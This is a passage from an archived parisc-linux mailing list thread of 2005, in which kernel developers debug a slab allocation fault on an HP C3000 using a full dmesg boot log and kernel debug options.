National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [dave@hiauly1.hia.nrc.ca: Re: [parisc-linux] Why gas kills the
	hppa-linux kernel and what you can]
Date: Fri, 1 Jul 2005 15:05:18 -0400
Lines: 275
Approved: news@gmane.org
Message-ID: <20050701190518.GV5269@systemhalted.org>
References: <20050701175316.GS5269@systemhalted.org>
	<1120241244.5046.16.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623827 15436 80.91.229.3 (22 Nov 2014 02:37:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:07 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jul 2005 19:05:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 01 Jul 2005 21:05:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BEFB77D6B8;
	Fri,  1 Jul 2005 13:05:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08948-03; Fri, 1 Jul 2005 13:05:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF0437D6B9;
	Fri,  1 Jul 2005 13:05:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6274B7D6B7
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jul 2005 13:05:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08515-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Jul 2005 13:05:22 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id A2E387D6B6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jul 2005 13:05:22 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DoQpD-0001eH-00; Fri, 01 Jul 2005 15:05:19 -0400
Content-Disposition: inline
In-Reply-To: <1120241244.5046.16.camel@mulgrave>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (31% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rPa3YtcceSEkRr6WZHQhaXN1IGRvb0Aj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22850

On Fri, Jul 01, 2005 at 02:07:24PM -0400, James Bottomley wrote:
> On Fri, 2005-07-01 at 13:53 -0400, Carlos O'Donell wrote:
> > journal_alloc_journal_head() can return a null pointer causing
> > the kernel to die in memset.  I think the fix is to skip calling
> > memset when new_jh is null.  The rest of the code looks ok except
> > for possibly
> 
> That's true (and needs fixing), but isn't what happened in this case.
> Look at the traceback:
> 
> > Kernel Fault: Code=15 regs=3249c840 (Addr=73c9d7ba)
> 
> The address wasn't NULL, it was something really strange above the
> addressable virtual memory in the system.
> 
> This fault is consistent with a class of faults we've been seeing since
> 2.6.11-rc1-pa0 where kmem_cache_alloc() is returning memory that can't
> be written to (usually just slightly above the end of virtual memory).

James you wanted the dmesg of this box, provided below:

---
Linux version 2.6.12-pa1 (carlos@churchill) (gcc version 3.3.6 (Debian 1:3.3.6-6)) #37 Mon Jun 20 01:24:28 EDT 2005
FP[0] enabled: Rev 1 Model 16
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005bb0 00000481 00000000 00000002 77e816ae 100000f0 00000008 000000b2 000000b2
vers  00000200
CPUID vers 17 rev 4 (0x00000224)
capabilities 0x3
model 9000/785/C3000
Total Memory: 1024 MB
On node 0 totalpages: 262144
  DMA zone: 262144 pages, LIFO batch:31
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
LCD display at f05d0008,f05d0000 registered
Built 1 zonelists
Kernel command line: root=/dev/sda2 HOME=/ console=ttyS0 profile=2 pdcchassis=0 palo_kernel=2/boot/vmlinux-test
kernel profiling enabled (shift: 2)
PID hash table entries: 4096 (order: 12, 65536 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 262144 (order: 8, 1048576 bytes)
Inode-cache hash table entries: 131072 (order: 7, 524288 bytes)
Memory: 1048576k available
Calibrating delay loop... 796.67 BogoMIPS (lpj=398336)
Mount-cache hash table entries: 512
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
6. AllegroHigh W at 0xfffa0000 [32] { 0, 0x0, 0x5bb, 0x00004 }
7. Memory at 0xfed10200 [49] { 1, 0x0, 0x086, 0x00009 }
CPU(s): 1 x PA8500 (PCX-W) at 400.000000 MHz
Whole cache flush 260339 cycles, flushing 273920028 bytes 36322075 cycles
Setting cache flush threshold to 80 (1 CPUs online)
SBA found Astro 2.1 at 0xfed00000
LBA version TR2.1 (0x2) found at 0xfed30000
PCI: Enabled native mode for NS87415 (pif=0x8f)
LBA version TR2.1 (0x2) found at 0xfed32000
iosapic: no IRTE for 0000:01:05.0 (IRQ not connected?)
LBA version TR2.1 (0x2) found at 0xfed38000
iosapic: hpa not registered for 0000:02:03.0
LBA version TR2.1 (0x2) found at 0xfed3c000
SCSI subsystem initialized
unwind_init: start = 0x10366f40, end = 0x1038d8b0, entries = 9879
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Initializing Cryptographic API
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 67) 
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
PDC Stable Storage facility v0.09
Soft power switch enabled, polling @ 0xf0400804.
STI GSC/PCI core graphics driver Version 0.9a
STI PCI ROM enabled at 0xf4840000
STI PCI graphic ROM found at f4840000 (64 kB), fb at fa000000 (32 MB)
Trying PCI STI ROM at f4840000, PCI hpa at fa000000
PCI ROM size (from header) = 64 kB
PCI region Mapper offset = 00000034: 10 10 10 10 10 00 00 00 00 00 00 00 00 00 00 00 
sig 55aa0000, PCI STI ROM at f4840044
    word mode ROM at f4840044, hpa at fa000000
selected 8x8 fb-font VGA8x8
    id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
      supports 15 monitors
      font start 00007730
      region list 00007718
      init_graph 00000890
      bus support 20
      ext bus support 00
      alternate code type 0
region #0: phys fa000000, virt fa000000, len=64kB, btlb=1, sysonly=0, cache=0, last=0
region #1: phys fb000000, virt fb000000, len=16384kB, btlb=1, sysonly=0, cache=0, last=0
region #2: phys fa100000, virt fa100000, len=2560kB, btlb=1, sysonly=0, cache=0, last=0
region #3: phys fac00000, virt fac00000, len=4096kB, btlb=1, sysonly=0, cache=0, last=0
region #4: phys fa380000, virt fa380000, len=4kB, btlb=0, sysonly=1, cache=0, last=1
STI PCI ROM disabled
3 text planes
1280 x 1024 screen resolution
   0 x    0 offscreen
2048 x 2048 layout
regions at fa000000 fb000000 fa100000 fac00000
regions at fa380000 00000000 00000000 00000000
reent_lvl 0
save_addr 012d1400
monitor 0
in friendly mode: 0
power consumption 0 watts
freq ref 0
sti_mem_addr 012f6580 (size=256 bytes)
8 bits per pixel
8 used bits
16 planes
attributes 0000b836
    graphics card name: PCI_GRAFFITIDX1280
STI PCI ROM enabled at 0xf6000000
STI PCI graphic ROM found at f6000000 (64 kB), fb at f8000000 (32 MB)
Trying PCI STI ROM at f6000000, PCI hpa at f8000000
PCI ROM size (from header) = 64 kB
PCI region Mapper offset = 00000034: 10 10 10 10 10 00 00 00 00 00 00 00 00 00 00 00 
sig 55aa0000, PCI STI ROM at f6000044
    word mode ROM at f6000044, hpa at f8000000
    id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
      supports 15 monitors
      font start 00007730
      region list 00007718
      init_graph 00000890
      bus support 20
      ext bus support 00
      alternate code type 0
region #0: phys f8000000, virt f8000000, len=64kB, btlb=1, sysonly=0, cache=0, last=0
region #1: phys f9000000, virt f9000000, len=16384kB, btlb=1, sysonly=0, cache=0, last=0
region #2: phys f8100000, virt f8100000, len=2560kB, btlb=1, sysonly=0, cache=0, last=0
region #3: phys f8c00000, virt f8c00000, len=4096kB, btlb=1, sysonly=0, cache=0, last=0
region #4: phys f8380000, virt f8380000, len=4kB, btlb=0, sysonly=1, cache=0, last=1
STI PCI ROM disabled
3 text planes
1280 x 1024 screen resolution
   0 x    0 offscreen
2048 x 2048 layout
regions at f8000000 f9000000 f8100000 f8c00000
regions at f8380000 00000000 00000000 00000000
reent_lvl 0
save_addr 012d1000
monitor 0
in friendly mode: 0
power consumption 0 watts
freq ref 0
sti_mem_addr 012f6380 (size=256 bytes)
8 bits per pixel
8 used bits
8 planes
attributes 0000b836
    graphics card name: PCI_GRAFFITIX1280
sticon: Initializing STI text console.
Console: switching to colour STI console 160x128
Console: switching to colour frame buffer device 160x128
fb0: stifb 1280x1024-8 frame buffer device, PCI_GRAFFITIDX1280, id: 2d08c0a7, mmio: 0xfa100000
fb1: stifb 1280x1024-8 frame buffer device, PCI_GRAFFITIX1280, id: 2d08c0a7, mmio: 0xf8100000
Generic RTC Driver v1.07
HP SDC: No SDC found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
ttyS0 at I/O 0x3f8 (irq = 3) is a 16550A
ttyS1 at I/O 0x2f8 (irq = 4) is a 16550A
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Linux Tulip driver version 1.1.13 (December 15, 2004)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21142/DS21143 Tulip rev 48 at 80001000, 00:60:B0:EA:28:2B, IRQ 65.
tulip1:  EEPROM default media type Autosense.
tulip1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
tulip1:  Index #1 - Media 10base2 (#1) described by a 21142 Serial PHY (2) block.
tulip1:  Index #2 - Media AUI (#2) described by a 21142 Serial PHY (2) block.
tulip1:  MII transceiver #1 config 3100 status 7849 advertising 0101.
tulip1:  Advertising 01e1 on PHY 1, previously advertising 0101.
eth1: Digital DS21142/DS21143 Tulip rev 33 at 80012000, 00:60:B0:7A:02:E1, IRQ 71.
sym0: <896> rev 0x4 at pci 0000:00:0f.0 irq 68
sym0: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
sym0: SCSI BUS has been reset.
sym0: SCSI BUS mode change from SE to SE.
sym0: SCSI BUS has been reset.
scsi0 : sym-2.2.1
sym1: <896> rev 0x4 at pci 0000:00:0f.1 irq 68
sym1: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.2.1
  Vendor: HP 73.4G  Model: ST373405LC        Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target1:0:5: tagged command queuing enabled, command queue depth 16.
 target1:0:5: Beginning Domain Validation
 target1:0:5: asynchronous.
WIDTH IS 1
 target1:0:5: wide asynchronous.
 target1:0:5: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
 target1:0:5: Ending Domain Validation
  Vendor: HP        Model: 9.10GB B 80-1205  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target1:0:6: tagged command queuing enabled, command queue depth 16.
 target1:0:6: Beginning Domain Validation
 target1:0:6: asynchronous.
WIDTH IS 1
 target1:0:6: wide asynchronous.
 target1:0:6: Domain Validation skipping write tests
 target1:0:6: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 15)
 target1:0:6: Ending Domain Validation
sym2: <1010-66> rev 0x1 at pci 0000:01:04.0 irq 69
sym2: PA-RISC Firmware, ID 7, Fast-80, LVD, parity checking
sym2: SCSI BUS has been reset.
scsi2 : sym-2.2.1
sym3: <1010-66> rev 0x1 at pci 0000:01:04.1 irq 70
sym3: PA-RISC Firmware, ID 7, Fast-80, LVD, parity checking
sym3: SCSI BUS has been reset.
scsi3 : sym-2.2.1
SCSI device sda: 143374738 512-byte hdwr sectors (73408 MB)
SCSI device sda: drive cache: write through
SCSI device sda: 143374738 512-byte hdwr sectors (73408 MB)
SCSI device sda: drive cache: write through
 sda: sda1 sda2 sda3 sda4
Attached scsi disk sda at scsi1, channel 0, id 5, lun 0
SCSI device sdb: 17773524 512-byte hdwr sectors (9100 MB)
SCSI device sdb: drive cache: write through
SCSI device sdb: 17773524 512-byte hdwr sectors (9100 MB)
SCSI device sdb: drive cache: write through
 sdb: sdb1
Attached scsi disk sdb at scsi1, channel 0, id 6, lun 0
Attached scsi generic sg0 at scsi1, channel 0, id 5, lun 0,  type 0
Attached scsi generic sg1 at scsi1, channel 0, id 6, lun 0,  type 0
mice: PS/2 mouse device common for all mice
oprofile: using timer interrupt.
NET: Registered protocol family 2
IP: routing cache hash table of 8192 buckets, 64Kbytes
TCP established hash table entries: 262144 (order: 9, 2097152 bytes)
TCP bind hash table entries: 65536 (order: 6, 262144 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
NET: Registered protocol family 1
NET: Registered protocol family 17
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 568k freed
Adding 2097136k swap on /dev/sda3.  Priority:-1 extents:1
EXT3 FS on sda2, internal journal
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda4, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sdb1, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
eth0: Setting full-duplex based on MII#1 link partner capability of 41e1.
---

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [dave@hiauly1.hia.nrc.ca: Re: [parisc-linux] Why gas kills the
Date: Fri, 1 Jul 2005 15:08:54 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <20050701190854.GW5269@systemhalted.org>
References: <1120241244.5046.16.camel@mulgrave>
	<200507011838.j61Ic37N006115@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623827 15437 80.91.229.3 (22 Nov 2014 02:37:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:07 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jul 2005 19:09:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 01 Jul 2005 21:09:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A1E77D6CA;
	Fri,  1 Jul 2005 13:09:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09119-04; Fri, 1 Jul 2005 13:09:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 742557D6C3;
	Fri,  1 Jul 2005 13:09:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D43567D6BC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jul 2005 13:09:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08948-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Jul 2005 13:09:04 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 508FF7D6B8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jul 2005 13:09:04 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DoQsh-0001er-00; Fri, 01 Jul 2005 15:08:55 -0400
Content-Disposition: inline
In-Reply-To: <200507011838.j61Ic37N006115@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (31% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jfG3YnB8eSEkbL6WZHQhaXN1IGRvb0CF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22851

On Fri, Jul 01, 2005 at 02:38:03PM -0400, John David Anglin wrote:
> > On Fri, 2005-07-01 at 13:53 -0400, Carlos O'Donell wrote:
> > > journal_alloc_journal_head() can return a null pointer causing
> > > the kernel to die in memset.  I think the fix is to skip calling
> > > memset when new_jh is null.  The rest of the code looks ok except
> > > for possibly
> > 
> > That's true (and needs fixing), but isn't what happened in this case.
> > Look at the traceback:
> 
> Actually, I was wrong.  journal_alloc_journal_head con't return
> null.  I see it spins until kmem_cache_alloc returns a non null
> value.
> 
> It looks like mm/slab.c needs to be built with DEBUG true and
> and possibly CONFIG_DEBUG_PAGEALLOC to find how the pointer is
> getting allocated.

CONFIG_DEBUG_SLAB
CONFIG_DEBUG_KOBJECT
CONFIG_DEBUG_FS

I'll try these and then crash the machine again :)

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [dave@hiauly1.hia.nrc.ca: Re: [parisc-linux] Why gas kills the
Date: Fri, 1 Jul 2005 15:12:55 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20050701191254.GX5269@systemhalted.org>
References: <1120241244.5046.16.camel@mulgrave>
	<200507011838.j61Ic37N006115@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623827 15440 80.91.229.3 (22 Nov 2014 02:37:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:07 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jul 2005 19:13:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 01 Jul 2005 21:13:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 965E17D6CD;
	Fri,  1 Jul 2005 13:13:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09279-08; Fri, 1 Jul 2005 13:13:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 09ABE7D6CF;
	Fri,  1 Jul 2005 13:13:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 29B077D6C3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jul 2005 13:13:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09119-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Jul 2005 13:13:04 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 9D8257D6BC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jul 2005 13:13:04 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DoQwa-0001mK-00; Fri, 01 Jul 2005 15:12:56 -0400
Content-Disposition: inline
In-Reply-To: <200507011838.j61Ic37N006115@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (31% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kPC3YikGeSEkeb6WZHQhaXN1IGRvb4B2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22852

On Fri, Jul 01, 2005 at 02:38:03PM -0400, John David Anglin wrote:
> > On Fri, 2005-07-01 at 13:53 -0400, Carlos O'Donell wrote:
> > > journal_alloc_journal_head() can return a null pointer causing
> > > the kernel to die in memset.  I think the fix is to skip calling
> > > memset when new_jh is null.  The rest of the code looks ok except
> > > for possibly
> > 
> > That's true (and needs fixing), but isn't what happened in this case.
> > Look at the traceback:
> 
> Actually, I was wrong.  journal_alloc_journal_head con't return
> null.  I see it spins until kmem_cache_alloc returns a non null
> value.
> 
> It looks like mm/slab.c needs to be built with DEBUG true and
> and possibly CONFIG_DEBUG_PAGEALLOC to find how the pointer is
> getting allocated.

I don't know how to turn that on, I can see the define in a couple of
places, but it's not really connected to any configuration option.
It looks bitrotten.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [dave@hiauly1.hia.nrc.ca: Re: [parisc-linux] Why gas kills the
Date: Fri, 1 Jul 2005 15:47:56 -0400
Lines: 225
Approved: news@gmane.org
Message-ID: <20050701194756.GY5269@systemhalted.org>
References: <1120241244.5046.16.camel@mulgrave>
	<200507011838.j61Ic37N006115@hiauly1.hia.nrc.ca>
	<20050701191254.GX5269@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623828 15442 80.91.229.3 (22 Nov 2014 02:37:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:08 +0000 (UTC)
